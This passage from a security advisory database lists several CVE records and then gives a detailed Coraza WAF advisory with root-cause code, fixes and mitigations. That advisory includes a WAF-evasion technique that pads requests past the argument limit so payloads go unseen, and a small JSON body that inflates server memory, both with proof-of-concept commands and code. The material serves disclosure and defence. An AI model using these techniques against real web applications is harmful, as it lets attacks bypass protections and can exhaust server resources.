"details": "The smtplib library in CPython (aka Python) before 2.7.12, 3.x before 3.4.5, and 3.5.x before 3.5.2 does not return an error when StartTLS fails, which might allow man-in-the-middle attackers to bypass the TLS protections by leveraging a network position between the client and the registry to block the StartTLS command, aka a \"StartTLS stripping attack.\"",
"id": "GHSA-6m57-q338-h677",
"modified": "2022-05-14T01:35:22Z",
"published": "2022-05-14T01:35:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-0772"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1303647"
},
{
"type": "WEB",
"url": "https://docs.python.org/3.4/whatsnew/changelog.html#python-3-4-5"
},
{
"type": "WEB",
"url": "https://docs.python.org/3.5/whatsnew/changelog.html#python-3-5-2"
},
{
"type": "WEB",
"url": "https://hg.python.org/cpython/raw-file/v2.7.12/Misc/NEWS"
},
{
"type": "WEB",
"url": "https://hg.python.org/cpython/rev/b3ce713fb9be"
},
{
"type": "WEB",
"url": "https://hg.python.org/cpython/rev/d590114c2394"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00011.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201701-18"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00040.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2016-1626.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2016-1627.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2016-1628.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2016-1629.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2016-1630.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/06/14/9"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/91225"
},
{
"type": "WEB",
"url": "http://www.splunk.com/view/SP-CAAAPSV"
},
{
"type": "WEB",
"url": "http://www.splunk.com/view/SP-CAAAPUE"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6MGF-HGQJ-63V5
Vulnerability from github – Published: 2026-06-09 18:30 – Updated: 2026-06-09 18:30Protection mechanism failure in Windows Mark of the Web (MOTW) allows an unauthorized attacker to bypass a security feature over a network.
{
"affected": [],
"aliases": [
"CVE-2026-45595"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-09T17:17:27Z",
"severity": "MODERATE"
},
"details": "Protection mechanism failure in Windows Mark of the Web (MOTW) allows an unauthorized attacker to bypass a security feature over a network.",
"id": "GHSA-6mgf-hgqj-63v5",
"modified": "2026-06-09T18:30:51Z",
"published": "2026-06-09T18:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45595"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-6P8V-VWV7-4VG4
Vulnerability from github – Published: 2026-09-02 18:32 – Updated: 2026-09-15 18:32As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco IOS XR Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening releases that address multiple internally discovered vulnerabilities.
The vulnerabilities tracked by CVE-2026-20277 are related to protection mechanism failure issues that are grouped under the Common Weakness Enumeration (CWE) CWE-693.
{
"affected": [],
"aliases": [
"CVE-2026-20277"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-02T17:17:33Z",
"severity": "HIGH"
},
"details": "As part of Cisco\u0027s ongoing commitment to proactive security and product quality, the Cisco IOS XR Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening releases that address multiple internally discovered vulnerabilities.\n\nThe vulnerabilities tracked by CVE-2026-20277 are related to protection mechanism failure issues that are grouped under the Common Weakness Enumeration (CWE) CWE-693.",
"id": "GHSA-6p8v-vwv7-4vg4",
"modified": "2026-09-15T18:32:13Z",
"published": "2026-09-02T18:32:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20277"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-iosxr-qg64NcM"
},
{
"type": "WEB",
"url": "https://www.cve.org/Media/News/item/blog/2026/06/16/Preserving-Vulnerability-Level-Identification"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6Q42-XCP7-QVR5
Vulnerability from github – Published: 2024-10-28 21:30 – Updated: 2026-04-02 21:31A logic issue was addressed with improved checks. This issue is fixed in macOS Ventura 13.7.1, macOS Sequoia 15, macOS Sonoma 14.7.1. An application may be able to break out of its sandbox.
{
"affected": [],
"aliases": [
"CVE-2024-44122"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-28T21:15:05Z",
"severity": "HIGH"
},
"details": "A logic issue was addressed with improved checks. This issue is fixed in macOS Ventura 13.7.1, macOS Sequoia 15, macOS Sonoma 14.7.1. An application may be able to break out of its sandbox.",
"id": "GHSA-6q42-xcp7-qvr5",
"modified": "2026-04-02T21:31:57Z",
"published": "2024-10-28T21:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44122"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121238"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121250"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121568"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121570"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Oct/12"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Oct/13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6R3Q-MJV7-XR8M
Vulnerability from github – Published: 2026-10-06 20:38 – Updated: 2026-10-06 20:38Root Cause
File: internal/corazawaf/transaction.go, lines 770–808 (since commit 2fd87b89, PR #812, 2023-06-14)
func (tx *Transaction) AddGetRequestArgument(key string, value string) {
if tx.checkArgumentLimit(tx.variables.argsGet) {
tx.debugLogger.Warn().Msg("skipping get request argument, over limit")
return
}
tx.variables.argsGet.Add(key, value)
}
func (tx *Transaction) checkArgumentLimit(c *collections.NamedCollection) bool {
return c.Len() >= tx.WAF.ArgumentLimit
}
AddGetRequestArgument, AddPostRequestArgument, and AddPathRequestArgument silently return once the per-collection argument count reaches WAF.ArgumentLimit (default 1000, see internal/corazawaf/waf.go:346). No error variable is set, no transaction flag is raised, and no rule can observe that a drop occurred.
Worse, ExtractGetArguments (transaction.go:761) iterates the map[string][]string returned by urlutil.ParseQuery:
func (tx *Transaction) ExtractGetArguments(uri string) {
data := urlutil.ParseQuery(uri, '&')
for k, vs := range data { // Go map iteration order is randomized
for _, v := range vs {
tx.AddGetRequestArgument(k, v)
}
}
}
Because Go randomizes map iteration order, which of the caller-supplied arguments survive the limit is non-deterministic. An attacker can pad the URI with filler arguments; any one of them — including the malicious payload — may be the one silently discarded, and therefore invisible to every SecRule targeting ARGS, ARGS_GET, or ARGS_NAMES.
Secondary finding — POST urlencoded processor bypasses the cap entirely
internal/bodyprocessors/urlencoded.go:29 populates ARGS_POST without invoking checkArgumentLimit:
values := urlutil.ParseQuery(b, '&')
argsCol := v.ArgsPost()
for k, vs := range values {
argsCol.Set(k, vs) // direct write, no limit check
}
So AddPostRequestArgument's cap is effectively dead code for real urlencoded bodies. ARGS_POST grows unbounded — both a bypass surface and a memory-DoS surface.
Impact
Any SecRule or CRS rule that inspects ARGS, ARGS_GET, ARGS_NAMES, ARGS_GET_NAMES, or ARGS_PATH can be evaded by inflating the request's argument count past SecArgumentsLimit (default 1000). The bypass probability per request scales with overflow:
| Total args in request | Observed bypass rate of ARGS rule |
|---|---|
| 1000 (at limit) | 0 / 50 (0.0%) |
| 1001 (1 over) | 0 / 2000 (< 0.1%) |
| 1100 (100 over) | 45 / 500 (9.0%) |
| 2000 (1000 over) | 106 / 200 (53.0%) |
| 10000 (10× limit) | 47 / 50 (94.0%) |
The rate matches the theoretical model (N − limit) / N. An attacker flooding with 10000 arguments lands a bypass on ~94% of requests; one failed attempt costs them nothing, so a handful of retries yields a near-certain evasion against any ARGS-targeted rule, including the OWASP CRS SQLi, XSS, RCE, and LFI detection families.
The issue is silent — operators see no audit-log entry, no error, and no MULTIPART_STRICT_ERROR-style flag variable, because none exists.
Proof of Concept
Start a Coraza-wrapped HTTP server with a trivial ARGS rule:
SecRuleEngine On
SecRule ARGS "@contains ATTACK_HERE_XYZ" "id:9001,phase:2,deny,status:403,msg:'Attack detected'"
Baseline sanity checks pass:
$ curl -s -o /dev/null -w '%{http_code}\n' 'http://127.0.0.1:8090/?evil=ATTACK_HERE_XYZ'
403
Now pad the URI with 9999 filler parameters and one malicious parameter placed at a random offset. Running 50 such trials against a real HTTP listener with real curl:
=== 10000 args (attacker adds 9999 filler parameters) ===
total_args=10000 trials=50 BLOCKED=3 BYPASS=47 (94.0%)
47 of 50 attack requests were served HTTP 200 despite the payload being present in the URI. The defending rule never fired because Coraza discarded the argument before phase:2 evaluation.
Comparison with ModSecurity v3
The engine-level bug is present in ModSecurity v3 as well — src/transaction.cc:282-291 has the equivalent silent-drop:
bool Transaction::addArgument(...) {
if (m_rules->m_argumentsLimit.m_set
&& m_variableArgs.size() >= m_rules->m_argumentsLimit.m_value) {
ms_dbg(4, "Skipping request argument, over limit (...)")
return false; // return value is ignored at the GET callsite
}
...
}
ModSecurity is in fact more deterministic than Coraza — its query-string parser (extractArguments, transaction.cc:254) splits with an ordered ssplit, so it is the tail of the query that silently drops. An attacker places the payload first and pads the tail; no retry loop needed.
However, ModSecurity's default configuration papers over the engine bug. modsecurity.conf-recommended ships:
SecArgumentsLimit 1000
# If SecArgumentsLimit has been set, you probably want to reject any
# request body that has only been partly parsed. The value used in this
# rule should match what was used with SecArgumentsLimit
SecRule &ARGS "@ge 1000" \
"id:'200007',phase:2,t:none,log,deny,status:400,msg:'Failed to fully parse request body due to large argument count',severity:2"
Because addArgument caps the single m_variableArgs collection at exactly the limit, &ARGS == limit iff the limit was hit — rule 200007 converts silent-drop into explicit HTTP 400. ModSecurity also has a complementary REQBODY_ERROR path: its JSON processor cancels parsing on addArgument failure, and rule 200002 denies on REQBODY_ERROR (verified by test/test-cases/regression/secargumentslimit.json, test 2/2).
Coraza's coraza.conf-recommended ships no equivalent rule. That is what makes the bug exploitable out-of-the-box in Coraza and not in ModSecurity.
| Silent-drop at engine | Compensating default rule | Exploitable out-of-the-box | |
|---|---|---|---|
| ModSecurity v3 | yes | yes (id:200007, &ARGS @ge 1000) |
no — denies at limit |
| Coraza v3 | yes | no | yes |
Mitigation
Recommended fixes, in the order they should be applied. Config-layer (#1) closes the default-install exposure quickly; engine-layer (#2, #3) is the durable fix.
1. Ship compensating rules in coraza.conf-recommended (config-layer, immediate)
Port the ModSecurity guard, but keyed per-collection — Coraza caps ARGS_GET, ARGS_POST, and ARGS_PATH independently, unlike ModSecurity's unified m_variableArgs. A single &ARGS @ge 1000 check on the concatenated collection would false-positive at e.g. GET=500 + POST=500 (no drops occurred but aggregate == 1000):
SecRule &ARGS_GET "@ge 1000" \
"id:200007,phase:2,t:none,log,deny,status:400,msg:'ARGS_GET over SecArgumentsLimit; request partially parsed'"
SecRule &ARGS_POST "@ge 1000" \
"id:200008,phase:2,t:none,log,deny,status:400,msg:'ARGS_POST over SecArgumentsLimit; request partially parsed'"
SecRule &ARGS_PATH "@ge 1000" \
"id:200009,phase:2,t:none,log,deny,status:400,msg:'ARGS_PATH over SecArgumentsLimit; request partially parsed'"
Both &VAR (variable count, internal/seclang/rule_parser.go:40) and @ge (internal/operators/testdata/ge.json) are supported. Thresholds must track SecArgumentsLimit if the operator overrides it.
2. Expose a transaction-visible flag (engine-layer, durable)
Introduce an ARGUMENTS_LIMIT_REACHED collection variable, analogous to MULTIPART_STRICT_ERROR and URLENCODED_ERROR, set to 1 by AddGetRequestArgument / AddPostRequestArgument / AddPathRequestArgument whenever they drop. Replace the config rules above with a single engine-backed check:
SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" \
"id:200006,phase:1,t:none,log,deny,status:413,msg:'Argument limit reached; request rejected'"
This protects operators with hand-rolled configurations, not just those who use the recommended file.
3. Close the POST urlencoded body-processor gap
internal/bodyprocessors/urlencoded.go should route through AddPostRequestArgument (or invoke checkArgumentLimit explicitly) so the cap is actually enforced for urlencoded request bodies. Currently a 10000-arg POST body populates ARGS_POST in full, regardless of SecArgumentsLimit.
4. Make ExtractGetArguments order-deterministic
Replace the urlutil.ParseQuery → map → range pattern with an ordered slice-based parse. Combined with #2, this means when the limit is hit the outcome is at least deterministic (fail-closed via the flag) rather than a probabilistic game.
Affected versions
All releases since v3.0.0 that ship the SecArgumentsLimit directive (introduced in PR #812, commit 2fd87b89, June 2023). Confirmed reproducible on main at commit 599ae64a with default configuration.
References
internal/corazawaf/transaction.golines 770–808internal/corazawaf/waf.goline 346 (ArgumentLimit: 1000)internal/bodyprocessors/urlencoded.goline 29 (POST-side gap)internal/seclang/rule_parser.go:40(&VARcount syntax)internal/collections/concat_test.go:20(ARGSasConcatCollectionofARGS_GET/ARGS_POST/ARGS_PATH)- PR #812 — introduction of
SecArgumentsLimit - ModSecurity v3
src/transaction.cc:282-291(same silent-drop) - ModSecurity v3
modsecurity.conf-recommendedruleid:200007(compensating config-layer deny)
Resolution (2026-07-28)
Fixed in https://github.com/corazawaf/coraza-ghsa-6r3q-mjv7-xr8m/pull/1, implementing all four mitigation steps above, plus additional gaps found while verifying the fix (see below):
- Compensating
coraza.conf-recommendedrules — shipped asARGUMENTS_LIMIT_REACHED-based rules (id:200004/200005, phase:1 for GET/PATH and phase:2 for POST), per-flag rather than the originally-sketched per-collection&ARGS_GET/&ARGS_POST/&ARGS_PATHcounts, since the flag (below) already distinguishes GET/PATH-time drops from POST-time drops without needing separate threshold rules per collection. ARGUMENTS_LIMIT_REACHEDtransaction variable — added, set by every argument-adding path that can drop:AddGetRequestArgument,AddPostRequestArgument,AddPathRequestArgument,AddResponseArgument, the urlencoded body processor, and (see below) the JSON body processor and the query-string/urlencoded parser itself.internal/bodyprocessors/urlencoded.gonow enforces the limit — threadsArgumentLimitthroughBodyProcessorOptionsinto the body processor, closing the POST-side gap.ExtractGetArgumentsis now order-deterministic — viaParseQueryOrdered, so when the limit is hit the tail is dropped predictably instead of a randomized subset.
Additional gaps found while verifying the fix (folded into the same PR)
While confirming this fix actually closed the class of bug, three more instances of the same underlying "argument limit isn't really enforced" problem turned up, overlapping with an independently-reported advisory, GHSA-3ww9-vw83-9w5x (JSON/urlencoded body processors ignore SecArgumentsLimit, enabling memory-exhaustion DoS):
- The JSON body processor had zero enforcement at all (GHSA-3ww9's actual reported bug, with a working PoC: a small body decoding to a wide flat JSON array like
[1,1,1,...]expanded into millions ofARGS_POSTentries, exhausting memory on a single request).readJSON/readItemsnow stop flattening onceArgumentLimitentries are collected, for both request (ARGS_POST) and response (RESPONSE_ARGS) bodies — response previously received an emptyBodyProcessorOptions{}with no limit at all. ParseQuery/ParseQueryOrderedbuilt their entire result before any caller-side cap ran. Even after fixing (3)/(4) above, a query string or urlencoded body with millions of pairs still spent the memory during parsing itself, before any limit check downstream ever got a chance to run. Both now accept alimitand stop parsing immediately once reached.checkArgumentLimit(andAddResponseArgument's equivalent) compared againstLen(), which counts distinct keys, not total values.Map.Addappends repeated-key values into the same map entry without growing it, soa=1&a=1&a=1...never tripped the limit no matter how large it grew — confirmed empirically: 1,000,000 repeats ofa=1&via the already-"protected" GET-argument path produced ~60MB of unbounded heap growth despiteSecArgumentsLimit 1000. AddedMap.TotalValues()(cheap even under this attack — it sumslen(slice)per key, so cost is bounded by distinct keys present, not by how many values piled up under any single one of them) and switched both checks to use it.
Verified before/after with heap measurements and direct parser unit tests (exactly limit entries returned regardless of a 1,000,000-entry adversarial input, for both repeated-key and distinct-key shapes). Full repo go test ./... -race, go vet, gofmt, golangci-lint all clean. BenchmarkReadJSONArgumentLimit shows the fix also cuts CPU time ~17x on a 100k-element flat array (741µs vs 12.5ms), since capped iteration stops early instead of walking the whole structure.
GHSA-3ww9-vw83-9w5x's own description has been updated to point here rather than duplicating this fix in a second PR.
Follow-up (2026-09-30): byte-budget bypass in the array-length write path
The "Resolution" section above states that readJSON/readItems "stop
flattening once ArgumentLimit entries are collected". That is true for
every per-leaf write, but not for the array-length summary entry written
after each gjson.ForEach call returns (internal/bodyprocessors/json.go,
the if arrayLen > 0 block). That write checked argumentLimit but never
byteBudget:
if arrayLen > 0 {
if argumentLimit > 0 && *argCount >= argumentLimit {
iterationTruncated = true
} else {
k := string(objKey)
lenStr := strconv.Itoa(arrayLen)
res[k] = append(res[k], lenStr)
*usedBytes += len(objKey) + len(lenStr) // accounted for, but never checked against byteBudget first
*argCount++
}
}
objKey (the full flattened path) grows by roughly a fixed amount per
nesting level, while argCount grows by only one per level. That is exactly
the amplification byteBudget exists to bound (see flattenBytesFactor),
but only the per-leaf write inside the ForEach callback checks it before
writing; this post-ForEach write does not. A long property name nested
under many single-element arrays inflates memory far past the configured
byte budget while argumentLimit alone never trips, because each nesting
level contributes only one argument, however long its path.
PoC
const keyLen = 20000
const depth = 200
body := `{"` + strings.Repeat("a", keyLen) + `":` + strings.Repeat("[", depth) + strings.Repeat("]", depth) + `}`
res, truncated, err := readJSON(body, 1024, 1000)
Against main at commit 19b86824: a 20,405-byte body produces 199 entries
totalling 4,020,596 bytes of flattened keys (~197x the body size) and
truncated=false, err=nil -- the byte budget for a body this size is
len(body) * flattenBytesFactor (~163 KB), so this is roughly 25x over
budget with no signal to the caller. A reviewer measured +961 MB heap growth
end-to-end for a 1 MB body with a long property name. The recommended
SecRequestBodyLimit (12.5 MiB) admits proportionally larger amplification.
Because every ARGS_NAMES-targeted regex in CRS scans these flattened keys,
this is also a CPU cost, not just memory. ProcessResponse shares the same
readJSON/readItems code path, so RESPONSE_ARGS is affected identically.
Fix
Move the byte-budget check into the same else branch as the argument-limit
check, computing lenStr first so its length is known before the check
(mirroring the per-leaf write's own check three lines above it):
if argumentLimit > 0 && *argCount >= argumentLimit {
iterationTruncated = true
} else {
lenStr := strconv.Itoa(arrayLen)
if byteBudget > 0 && *usedBytes+len(objKey)+len(lenStr) > byteBudget {
iterationTruncated = true
} else {
k := string(objKey)
res[k] = append(res[k], lenStr)
*usedBytes += len(objKey) + len(lenStr)
*argCount++
}
}
Verified: the PoC above now returns truncated=true, with total flattened
bytes bounded by the byte budget (163,160 bytes measured, vs. 4,020,596
before the fix).
AI involvement disclosure
- AI tools/models used: Claude Sonnet 5 (Anthropic), via Claude Code.
- What was generated/assisted: the vulnerability hypothesis and repro
shape were supplied by the reporter as an existing written finding; Claude
Sonnet 5 independently re-derived the root cause by reading the current
source, wrote and ran a fresh PoC and heap measurement against commit
19b86824, confirmed the amplification and lack of truncation, verified the fix closes the gap, and drafted this addendum. - Review performed: reproduced by hand by running the PoC above against
a clean checkout of commit
19b86824before and after the fix, comparing entry count, total flattened bytes, and thetruncatedflag; added and ranTestReadJSONArrayLengthWriteRespectsByteBudget, confirmed it fails against the pre-fix code (4,020,596 bytes,truncated=false) and passes against the fix; ran the full test suite, the build-tag matrix (coraza.no_memoize,coraza.rule.multiphase_evaluation,coraza.rule.no_regex_multiline), and thetesting/corerulesetCRS regression suite, all green; reviewed by a human maintainer (fzipi) before this addendum was submitted.
Fix: https://github.com/corazawaf/coraza-ghsa-6r3q-mjv7-xr8m/pull/2
Patched in 3.8.1
The 3.8.0 fix was incomplete. 3.8.1 completes it: array-length entries produced while flattening JSON bodies are now held to the flattening byte budget (previously they could amplify a small body into a large memory allocation), a body over that budget now sets REQBODY_ERROR, and array-length entries no longer count toward SecArgumentsLimit. Upgrade to 3.8.1; 3.8.0 is listed as affected.
Severity (revised 2026-10-02)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L (7.2, High).
Attack Complexity is Low: filler arguments alone trigger the drop, on any deployment, and since 3.8.0 the drop is deterministic. Availability is Low because this advisory also covers unbounded ARGS_POST growth from urlencoded bodies and, in 3.8.1, JSON flattening amplification, both of which consume memory per request. The previous vector scored Confidentiality Low and Availability None.
Impact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.
AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, "CVSS preconditions get verified, not copied from the report") and drafted this text. A human maintainer (fzipi) chose the S:C/I:L impact convention and directed this update.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/corazawaf/coraza/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41510"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-06T20:38:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Root Cause\n\nFile: `internal/corazawaf/transaction.go`, lines 770\u2013808 (since commit 2fd87b89, PR #812, 2023-06-14)\n\n```go\nfunc (tx *Transaction) AddGetRequestArgument(key string, value string) {\n if tx.checkArgumentLimit(tx.variables.argsGet) {\n tx.debugLogger.Warn().Msg(\"skipping get request argument, over limit\")\n return\n }\n tx.variables.argsGet.Add(key, value)\n}\n\nfunc (tx *Transaction) checkArgumentLimit(c *collections.NamedCollection) bool {\n return c.Len() \u003e= tx.WAF.ArgumentLimit\n}\n```\n\n`AddGetRequestArgument`, `AddPostRequestArgument`, and `AddPathRequestArgument` silently `return` once the per-collection argument count reaches `WAF.ArgumentLimit` (default `1000`, see `internal/corazawaf/waf.go:346`). No error variable is set, no transaction flag is raised, and no rule can observe that a drop occurred.\n\nWorse, `ExtractGetArguments` (`transaction.go:761`) iterates the `map[string][]string` returned by `urlutil.ParseQuery`:\n\n```go\nfunc (tx *Transaction) ExtractGetArguments(uri string) {\n data := urlutil.ParseQuery(uri, \u0027\u0026\u0027)\n for k, vs := range data { // Go map iteration order is randomized\n for _, v := range vs {\n tx.AddGetRequestArgument(k, v)\n }\n }\n}\n```\n\nBecause Go randomizes map iteration order, which of the caller-supplied arguments survive the limit is non-deterministic. An attacker can pad the URI with filler arguments; any one of them \u2014 including the malicious payload \u2014 may be the one silently discarded, and therefore invisible to every `SecRule` targeting `ARGS`, `ARGS_GET`, or `ARGS_NAMES`.\n\n### Secondary finding \u2014 POST urlencoded processor bypasses the cap entirely\n\n`internal/bodyprocessors/urlencoded.go:29` populates `ARGS_POST` without invoking `checkArgumentLimit`:\n\n```go\nvalues := urlutil.ParseQuery(b, \u0027\u0026\u0027)\nargsCol := v.ArgsPost()\nfor k, vs := range values {\n argsCol.Set(k, vs) // direct write, no limit check\n}\n```\n\nSo `AddPostRequestArgument`\u0027s cap is effectively dead code for real urlencoded bodies. `ARGS_POST` grows unbounded \u2014 both a bypass surface and a memory-DoS surface.\n\n## Impact\n\nAny `SecRule` or CRS rule that inspects `ARGS`, `ARGS_GET`, `ARGS_NAMES`, `ARGS_GET_NAMES`, or `ARGS_PATH` can be evaded by inflating the request\u0027s argument count past `SecArgumentsLimit` (default `1000`). The bypass probability per request scales with overflow:\n\n| Total args in request | Observed bypass rate of ARGS rule |\n|---|---|\n| 1000 (at limit) | 0 / 50 (0.0%) |\n| 1001 (1 over) | 0 / 2000 (\u003c 0.1%) |\n| 1100 (100 over) | 45 / 500 (9.0%) |\n| 2000 (1000 over) | 106 / 200 (53.0%) |\n| 10000 (10\u00d7 limit) | 47 / 50 (94.0%) |\n\nThe rate matches the theoretical model `(N \u2212 limit) / N`. An attacker flooding with 10000 arguments lands a bypass on ~94% of requests; one failed attempt costs them nothing, so a handful of retries yields a near-certain evasion against any ARGS-targeted rule, including the OWASP CRS SQLi, XSS, RCE, and LFI detection families.\n\nThe issue is silent \u2014 operators see no audit-log entry, no error, and no `MULTIPART_STRICT_ERROR`-style flag variable, because none exists.\n\n## Proof of Concept\n\nStart a Coraza-wrapped HTTP server with a trivial ARGS rule:\n\n```conf\nSecRuleEngine On\nSecRule ARGS \"@contains ATTACK_HERE_XYZ\" \"id:9001,phase:2,deny,status:403,msg:\u0027Attack detected\u0027\"\n```\n\nBaseline sanity checks pass:\n\n```\n$ curl -s -o /dev/null -w \u0027%{http_code}\\n\u0027 \u0027http://127.0.0.1:8090/?evil=ATTACK_HERE_XYZ\u0027\n403\n```\n\nNow pad the URI with 9999 filler parameters and one malicious parameter placed at a random offset. Running 50 such trials against a real HTTP listener with real `curl`:\n\n```\n=== 10000 args (attacker adds 9999 filler parameters) ===\ntotal_args=10000 trials=50 BLOCKED=3 BYPASS=47 (94.0%)\n```\n\n47 of 50 attack requests were served `HTTP 200` despite the payload being present in the URI. The defending rule never fired because Coraza discarded the argument before phase:2 evaluation.\n\n## Comparison with ModSecurity v3\n\nThe engine-level bug is present in ModSecurity v3 as well \u2014 `src/transaction.cc:282-291` has the equivalent silent-drop:\n\n```cpp\nbool Transaction::addArgument(...) {\n if (m_rules-\u003em_argumentsLimit.m_set\n \u0026\u0026 m_variableArgs.size() \u003e= m_rules-\u003em_argumentsLimit.m_value) {\n ms_dbg(4, \"Skipping request argument, over limit (...)\")\n return false; // return value is ignored at the GET callsite\n }\n ...\n}\n```\n\nModSecurity is in fact *more deterministic* than Coraza \u2014 its query-string parser (`extractArguments`, `transaction.cc:254`) splits with an ordered `ssplit`, so it is the *tail* of the query that silently drops. An attacker places the payload first and pads the tail; no retry loop needed.\n\n**However, ModSecurity\u0027s default configuration papers over the engine bug.** `modsecurity.conf-recommended` ships:\n\n```conf\nSecArgumentsLimit 1000\n\n# If SecArgumentsLimit has been set, you probably want to reject any\n# request body that has only been partly parsed. The value used in this\n# rule should match what was used with SecArgumentsLimit\nSecRule \u0026ARGS \"@ge 1000\" \\\n \"id:\u0027200007\u0027,phase:2,t:none,log,deny,status:400,msg:\u0027Failed to fully parse request body due to large argument count\u0027,severity:2\"\n```\n\nBecause `addArgument` caps the single `m_variableArgs` collection at exactly the limit, `\u0026ARGS == limit` iff the limit was hit \u2014 rule 200007 converts silent-drop into explicit `HTTP 400`. ModSecurity also has a complementary `REQBODY_ERROR` path: its JSON processor cancels parsing on `addArgument` failure, and rule 200002 denies on `REQBODY_ERROR` (verified by `test/test-cases/regression/secargumentslimit.json`, test 2/2).\n\n**Coraza\u0027s `coraza.conf-recommended` ships no equivalent rule.** That is what makes the bug exploitable out-of-the-box in Coraza and not in ModSecurity.\n\n| | Silent-drop at engine | Compensating default rule | Exploitable out-of-the-box |\n|---|---|---|---|\n| ModSecurity v3 | yes | **yes** (`id:200007`, `\u0026ARGS @ge 1000`) | no \u2014 denies at limit |\n| Coraza v3 | yes | no | **yes** |\n\n## Mitigation\n\nRecommended fixes, in the order they should be applied. Config-layer (#1) closes the default-install exposure quickly; engine-layer (#2, #3) is the durable fix.\n\n### 1. Ship compensating rules in `coraza.conf-recommended` (config-layer, immediate)\n\nPort the ModSecurity guard, but **keyed per-collection** \u2014 Coraza caps `ARGS_GET`, `ARGS_POST`, and `ARGS_PATH` independently, unlike ModSecurity\u0027s unified `m_variableArgs`. A single `\u0026ARGS @ge 1000` check on the concatenated collection would false-positive at e.g. GET=500 + POST=500 (no drops occurred but aggregate == 1000):\n\n```conf\nSecRule \u0026ARGS_GET \"@ge 1000\" \\\n \"id:200007,phase:2,t:none,log,deny,status:400,msg:\u0027ARGS_GET over SecArgumentsLimit; request partially parsed\u0027\"\nSecRule \u0026ARGS_POST \"@ge 1000\" \\\n \"id:200008,phase:2,t:none,log,deny,status:400,msg:\u0027ARGS_POST over SecArgumentsLimit; request partially parsed\u0027\"\nSecRule \u0026ARGS_PATH \"@ge 1000\" \\\n \"id:200009,phase:2,t:none,log,deny,status:400,msg:\u0027ARGS_PATH over SecArgumentsLimit; request partially parsed\u0027\"\n```\n\nBoth `\u0026VAR` (variable count, `internal/seclang/rule_parser.go:40`) and `@ge` (`internal/operators/testdata/ge.json`) are supported. Thresholds must track `SecArgumentsLimit` if the operator overrides it.\n\n### 2. Expose a transaction-visible flag (engine-layer, durable)\n\nIntroduce an `ARGUMENTS_LIMIT_REACHED` collection variable, analogous to `MULTIPART_STRICT_ERROR` and `URLENCODED_ERROR`, set to `1` by `AddGetRequestArgument` / `AddPostRequestArgument` / `AddPathRequestArgument` whenever they drop. Replace the config rules above with a single engine-backed check:\n\n```conf\nSecRule ARGUMENTS_LIMIT_REACHED \"@eq 1\" \\\n \"id:200006,phase:1,t:none,log,deny,status:413,msg:\u0027Argument limit 